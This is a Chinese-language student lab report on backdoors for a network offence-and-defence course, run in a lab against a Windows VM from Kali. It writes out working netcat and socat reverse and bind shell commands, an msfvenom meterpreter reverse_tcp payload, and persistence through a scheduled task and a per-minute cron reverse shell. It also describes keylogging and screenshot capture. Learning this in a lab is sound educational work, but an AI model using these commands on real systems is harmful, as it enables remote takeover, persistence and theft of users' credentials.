20145233《網絡對抗》第二周 后門原理與實踐
實驗內容
- windows主機與kali虛擬機實現互聯互通
- 使用netcat獲取主機操作Shell,cron啟動
- 使用socat獲取主機操作Shell, 任務計劃啟動
- 使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機并運行獲取主機Shell
- 使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,并嘗試提權
實驗過程
什么是后門
- 后門程序一般是指那些繞過安全性控制而獲取對程序或系統訪問權的程序方法。在軟件的開發階段,程序員常常會在軟件內創建后門程序以便可以修改程序設計中的缺陷。但是,如果這些后門被其他人知道,或是在發布軟件之前沒有刪除后門程序,那么它就成了安全風險,容易被黑客當成漏洞進行攻擊。
- 后門程序就是留在計算機系統中,供某位特殊使用者通過某種特殊方式控制計算機系統的途徑。
- 后門程序,跟我們通常所說的"木馬"有聯系也有區別。聯系在于:都是隱藏在用戶系統中向外發送信息,而且本身具有一定權限,以便遠程機器對本機的控制。區別在于:木馬是一個完整的軟件,而后門則體積較小且功能都很單一。后門程序類似于特洛依木馬(簡稱"木馬"),其用途在于潛伏在電腦中,從事搜集信息或便于黑客進入的動作。
- 后門程序和電腦病毒最大的差別,在于后門程序不一定有自我復制的動作,也就是后門程序不一定會“感染”其它電腦。
- 后門是一種登錄系統的方法,它不僅繞過系統已有的安全設置,而且還能挫敗系統上各種增強的安全設置。
- 而且,在病毒命名中,后門一般帶有backdoor字樣,而木馬一般則是Trojan字樣。
使用netcat獲取主機操作Shell,cron啟動
linux獲取windows的shell
- 首先兩個操作系統中都要有ncat,(本次實驗中我的靶機有兩個,前半部分的實驗我是在自己的win主機中完成的,但是在后續的實驗中,kali發送的后門程序無法在我的主機中打開,只好利用pki課程的虛擬機來完成后續實驗)kali中已經自帶,window需要下載碼云上的壓縮包到window中,解壓到相應的system中可以直接在命令行中運行。
- 這里ncat和后面用到的socat我都是在老師共享的碼云附件中下載的。
kali下使用ifconfig來獲取卡里主機的ip。
在kali下使用
nc -l -p 5233
來將5233
設置成監聽端口開始監聽,windows下輸入netcat.exe -e cmd 192.168.85.129 5233
實現kali對windowsshell的控制并利用ipconfig來驗證。
windows獲取linux的shell
- windows下使用以下命令
netcat.exe 192.168.85.129 5233
監聽 kali下使用
nc -e /bin/sh -l -p 5233
反彈連接windows利用ifconfig驗證
ncat傳輸文件
windows系統使用
ncat.exe -lv 1452 > hhc_file.exe
監聽準備接受文件kali系統使用
ncat -nv 192.168.85.129 1452 <pwnx
來發送指定文件
使用socat獲取主機操作Shell
socat
是ncat
的增強版,它使用的格式是socat [options] <address> <address>
,其中兩個address是必選項,而options 是可選項。socat
的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。kali上用
socat tcp-listen:5233
把cmd綁定到端口5233同時用
socat tcp-l:5233 system:bash,pty,stderr
反彈連接- windows使用
socat readline tcp:192.168.85.129:5233
開啟監聽 成功,使用ifconfig檢測
meterpreter生成后門程序
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.85.129 LPORT=208 -f exe >20145233.exe
來生成后門程序,然后發送到windows機中。使用
msfconsole
命令開啟msf進行設置這時候監聽已經開始了,在windows中運行之前的后門程序可以成功控制遠程shell。
meterpreter信息搜集
- 首先可以用神奇的help,來看看都有哪些指令,其中指令很多,但是我們本次實驗中用的只是一小部分,其他的功能可以在以后自己來了解。
系統信息截取
對靶機win7進行截圖
記錄靶機的鍵盤記錄
安裝為系統服務
后門啟動
Windows設置
在Windows系統下,打開控制面板->管理工具->任務計劃程序,創建任務,填寫任務名稱后,新建一個觸發器:
在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫
tcp-listen:5233 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe綁定到端口5233,同時把cmd.exe的stderr重定向到stdout上:我在這里設定為當系統啟動的時候,啟動后門程序。
使用netcat獲取主機操作Shell,cron啟動
kali下終端使用crontab -e修改配置文件,根據格式m h dom mon dow user command來填寫啟動的時間,加入下面一行:
* * * * * /bin/netcat 192.168.85.129 5233 -e /bin/sh
- 第一個星號可以設置成0-59的數字,即每小時的第幾分鐘啟動,同理下個星號是1-24小時,下個是1-12···
使用
crontab -l
查看配置文件
實驗問題回答
- 如何將一個后門安裝到系統中?
后門程序被捆綁或者偽裝成正常的程序進入自己的系統。
不慎點了某些鏈接,被植入了后門程序。 - 例舉你知道的后門如何啟動起來(win及linux)的方式?
后門修改權限使得自己在任務控制設定啟動條件,多種多樣,隨意后門程序設置。 - Meterpreter有哪些給你映像深刻的功能?
記錄鍵盤輸入記錄配合屏幕攝像頭的截圖來獲取靶機使用者的信息,這就很可怕了。攻擊者拿到信息后想干什么干什么。 如何發現自己有系統有沒有被安裝后門?
利用殺毒軟件定期清理未知文件。
開啟防火墻,對于某些默認的端口來查看是什么程序在使用,進行分析。實驗總結
- 本次實驗在完成的時候,我才真的覺得自己學習了好玩并且實用的東西,也理解到了后門攻擊往往存在在很多地方,這些隱患其實是很致命的。
- 比如,配合屏幕截圖及鍵盤記錄可以很輕易的來獲取被攻擊者的密碼資料等,因為虛擬機的實驗環境沒有攝像頭的驅動程序,所以沒辦法完成人臉捕捉。
這次實驗讓我對于網絡攻防更有興趣了。